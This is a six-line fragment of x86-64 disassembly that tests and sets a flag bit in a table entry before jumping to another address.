mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14003ab87
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14003ab8d